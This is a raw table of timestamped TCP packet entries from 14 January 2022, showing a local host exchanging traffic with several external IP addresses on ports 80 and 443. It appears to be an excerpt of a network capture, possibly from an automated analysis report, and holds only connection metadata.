Jan 14, 2022 04:59:44.774203062 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774229050 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774271011 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774275064 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774307966 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774346113 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774354935 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774385929 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774420977 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774444103 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774460077 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774497032 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774506092 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774535894 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774574995 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774580002 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774610043 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774647951 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774653912 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774684906 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774722099 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774733067 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774760008 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774796963 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774804115 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774835110 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774873972 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774885893 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774909973 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774947882 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.774960041 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.774986029 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.775022030 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.775046110 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.775059938 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.775096893 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.775109053 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.775135040 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.775173903 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.775186062 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.775208950 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.775248051 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.775255919 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.828918934 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.829457045 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.829509974 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.829582930 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.832369089 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832398891 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832464933 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832504988 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832509995 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.832544088 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832557917 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.832582951 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832622051 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832634926 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.832662106 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832700968 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832705021 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.832740068 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832778931 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832783937 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.832834959 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832874060 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832886934 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.832911968 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832951069 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.832956076 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.832990885 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833029985 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833036900 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833070040 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833107948 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833113909 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833144903 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833184958 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833189011 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833224058 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833265066 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833280087 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833304882 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833339930 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833353043 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833378077 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833416939 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833419085 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833453894 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833491087 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833498955 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833528996 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833566904 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833566904 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833606958 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833643913 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833653927 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833683014 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833720922 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833726883 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833756924 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833795071 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833802938 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833833933 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833894014 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.833905935 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833946943 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833986044 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.833992958 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.834022045 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.834062099 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.834062099 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.834100008 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.834144115 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.884614944 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.884674072 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.884757996 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.888537884 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888592005 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888631105 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888647079 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.888672113 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888711929 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888736963 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.888750076 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888787031 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.888791084 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888830900 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888868093 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888880968 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.888906956 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888945103 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.888946056 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.888984919 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889025927 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889034986 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889065981 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889103889 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889106989 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889142036 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889178038 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889180899 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889215946 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889252901 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889267921 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889291048 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889329910 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889329910 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889365911 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889406919 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889409065 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889446974 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889482975 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889491081 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889523029 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889559984 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889561892 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889599085 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889637947 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889638901 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889673948 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889714956 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889717102 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889753103 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889790058 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889794111 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889827967 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889868975 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.889900923 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889939070 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889976025 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.889978886 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890014887 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890049934 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890054941 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890089989 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890126944 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890130043 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890163898 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890201092 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890206099 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890239000 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890276909 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890280962 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890316010 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890352964 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890353918 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890391111 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890428066 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890436888 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890465021 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890503883 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890506983 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890542030 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890580893 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890580893 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890619040 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890655994 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890660048 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890692949 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890731096 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890732050 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890767097 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890804052 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890810013 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890841961 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890877962 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890880108 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890918970 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890954971 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.890959978 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.890994072 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.891031027 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.891032934 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:44.891063929 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:44.891113997 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:45.082431078 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:45.086412907 CET	49869	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:45.141957045 CET	80	49869	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.291630983 CET	49871	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.348814011 CET	80	49871	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.348925114 CET	49871	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.348975897 CET	49871	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.349258900 CET	49871	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.405997992 CET	80	49871	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.406042099 CET	80	49871	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.436677933 CET	80	49871	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.436809063 CET	49871	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.436888933 CET	49871	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.490519047 CET	49872	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.493551970 CET	80	49871	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.547298908 CET	80	49872	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.547410965 CET	49872	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.548856974 CET	49872	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.548882961 CET	49872	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.605459929 CET	80	49872	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.637809038 CET	80	49872	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.639404058 CET	49872	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.639544010 CET	49872	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:46.695873022 CET	80	49872	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:46.703372002 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.777661085 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.778305054 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.778390884 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.852600098 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.852816105 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.852864981 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.852906942 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.852942944 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.852973938 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.852982044 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.853009939 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.853029013 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.853068113 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.853106976 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.853121042 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.853146076 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.853187084 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.853203058 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.853244066 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.927417040 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927473068 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927514076 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927544117 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.927556992 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927597046 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927635908 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927654982 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.927676916 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927690983 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.927716017 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927755117 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927792072 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927813053 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.927831888 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927861929 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.927887917 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927927971 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.927949905 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.927967072 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.928006887 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.928042889 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.928061962 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.928082943 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.928123951 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.928138018 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.928164005 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.928169966 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:46.928205967 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:46.928267956 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:47.002507925 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002567053 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002608061 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002649069 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002686024 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002701044 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:47.002726078 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002736092 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:47.002765894 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002773046 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:47.002806902 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002846003 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002861023 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:47.002886057 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002924919 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002963066 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.002979040 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:47.003004074 CET	80	49873	141.8.194.74	192.168.2.3
Jan 14, 2022 04:59:47.003058910 CET	49873	80	192.168.2.3	141.8.194.74
Jan 14, 2022 04:59:47.037071943 CET	49874	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.093238115 CET	80	49874	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.095668077 CET	49874	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.095720053 CET	49874	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.095730066 CET	49874	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.152103901 CET	80	49874	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.179227114 CET	80	49874	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.179375887 CET	49874	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.179423094 CET	49874	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.228564024 CET	49875	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.235482931 CET	80	49874	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.284934044 CET	80	49875	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.285096884 CET	49875	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.285541058 CET	49875	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.285563946 CET	49875	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.341922045 CET	80	49875	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.341964006 CET	80	49875	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.372786045 CET	80	49875	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.372908115 CET	49875	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.373091936 CET	49875	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:47.412684917 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:47.412741899 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:47.412828922 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:47.413093090 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:47.413122892 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:47.429301023 CET	80	49875	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:47.464283943 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:47.464433908 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:47.465843916 CET	49876	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:47.465876102 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:47.466475010 CET	443	49876	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:47.468086004 CET	49876	443	192.168.2.3	144.76.136.153
